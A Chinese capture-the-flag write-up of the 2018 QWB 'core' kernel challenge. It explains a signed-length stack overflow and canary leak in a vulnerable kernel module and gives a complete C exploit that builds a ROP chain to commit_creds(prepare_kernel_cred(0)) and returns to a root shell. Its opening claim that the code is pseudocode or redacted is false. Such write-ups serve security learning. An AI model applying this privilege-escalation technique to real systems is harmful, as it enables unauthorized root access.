linux kernel pwn

[强网杯2018]core

合规声明:本文仅用于安全研究与防御,全部实验在自建环境完成;代码为伪代码或已打码,不包含可直接复用的完整利用程序(PRD 3.7)。

[强网杯2018]core

这是我做出的第一道 kernel pwn 题目。


一、漏洞类型:栈溢出

ioctl

上图为 ioctl 的结构。

bug

core_copy_func 中,参数 a1 的类型为有符号数

当传入的 a1 为负数时,它能够顺利通过 if 检查。随后 a1 被用作 copy_from_user 的长度参数(被当作无符号的 size_t 使用),从而变成一个极大的值,最终造成内核栈溢出

read

core_read 中用于读取数据的内核缓冲区偏移量 off用户可控的,我们可以泄露内核栈上的Canary。

write

以上为 core_write 的实现。


#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

init 脚本中,/proc/sys/kernel/kptr_restrict 被设置为 1,这使得普通用户无法再通过 /proc/kallsyms 查看内核函数地址。

但关键在于它上面的这一行:

cat /proc/kallsyms > /tmp/kallsyms

完整的符号表被复制到了 /tmp/kallsyms 中,且该文件在重启后依然可读。


二、利用思路

    • 修改 start.sh,将内存设为 -m 256M;为了调试方便,建议设置 nokaslr
    • 提取内核镜像:
      ~/extract-vmlinux ./bzImage > vmlinux

      注:题目自带的 vmlinux 有问题,需要重新提取。

    • 搜索 ROP gadget:
      ROPgadget --binary ./vmlinux > gadgets.txt
    • 利用 core_ioctl 的第二条指令设置 off 的值。
    • 再通过 core_read 把内核栈上的 Canary 读回用户态。
    • 拿到 Canary 后,通过 core_writename 中构造 ROP 链。
    • 再调用 core_copy_func,借助整数溢出把 ROP 链复制进内核栈空间。
    • ROP 的最终目标是执行 commit_creds(prepare_kernel_cred(0)),把当前进程的权限提升为 root。
    • 利用 swapgs + iretq 从内核空间切回用户空间,并以 root 权限执行 system('/bin/sh')

root

提权成功


三、Exploit

#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>

size_t user_cs, user_sp, user_ss, user_rflags;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_offset;

/* 保存用户态关键寄存器,供 iretq 返回时使用 */
void save_stats() {
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
}

void get_shell() {
    if (getuid()) {
        exit(EXIT_FAILURE);
    }
    system("/bin/sh");
    exit(EXIT_SUCCESS);
}

void core_read(int fd, char *buf) {
    ioctl(fd, 0x6677889B, buf);
}

void core_off(int fd, size_t index) {
    ioctl(fd, 0x6677889C, index);
}

void core_cpy(int fd, size_t bytes) {
    ioctl(fd, 0x6677889A, bytes);
}

#define COMMIT_CREDS        0xffffffff8109c8e0
#define INIT_TASK           0xffffffff82010480
#define INIT_CRED           0xffffffff8203be90
#define PREPARE_KERNEL_CRED 0xffffffff8107ff85
#define POP_RDI             0xffffffff81000b2f
#define POP_RSI             0xffffffff810011d6
#define POP_RDX             0xffffffff810282f1
#define IRETQ               0xffffffff81050ac2
#define SWAPGS_POPFQ_RET    0xffffffff81a012da
#define MOV_RAX_RDI_JMP_RCX 0xffffffff811ae978
#define POP_RCX             0xffffffff81021e53

void exploitation() {
    FILE *kallsyms_file;
    int fd;
    char buf[0x1000], type[0x20];
    size_t canary;
    size_t addr;
    size_t rop_chain[0x100];
    size_t i;

    save_stats();

    fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        puts("Failed to open the /proc/core !");
        exit(EXIT_FAILURE);
    }

    /* 从 /tmp/kallsyms 中解析内核符号地址 */
    kallsyms_file = fopen("/tmp/kallsyms", "r");
    if (kallsyms_file == NULL) {
        puts("Failed to open the sym_table file");
        exit(EXIT_FAILURE);
    }

    while (fscanf(kallsyms_file, "%lx%s%s", &addr, type, buf)) {
        if (prepare_kernel_cred && commit_creds) {
            break;
        }
        if (!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf("Successful to get the addr of commit_creds:\n%lx\n", commit_creds);
            continue;
        }
        if (!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf("Successful to get the addr of prepare_kernel_cred:\n%lx\n", prepare_kernel_cred);
            continue;
        }
    }

    /* 计算 KASLR 偏移 */
    kernel_offset = commit_creds - COMMIT_CREDS;

    /* 设置 off = 64,泄露内核栈上的 Canary */
    core_off(fd, 64);
    core_read(fd, buf);
    canary = *(size_t *)buf;
    printf("Got kernel stack canary: %lx\n", canary);

    /* 构造 ROP 链:先填充 Canary  */
    for (i = 0; i < 10; i++) {
        rop_chain[i] = canary;
    }

    rop_chain[i++] = kernel_offset + POP_RDI;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RCX + kernel_offset;
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = MOV_RAX_RDI_JMP_RCX + kernel_offset;
    rop_chain[i++] = SWAPGS_POPFQ_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + kernel_offset;
    rop_chain[i++] = (size_t)get_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp + 8;
    rop_chain[i++] = user_ss;

    /* 通过 core_write 写入 ROP 链 */
    write(fd, rop_chain, i * 8);

    /* 触发整数溢出,把 ROP 链复制进内核栈 */
    core_cpy(fd, 0xffffffffffff0000 | 0x100);
}

int main(int argc, char **argv) {
    exploitation();
    return 0;
}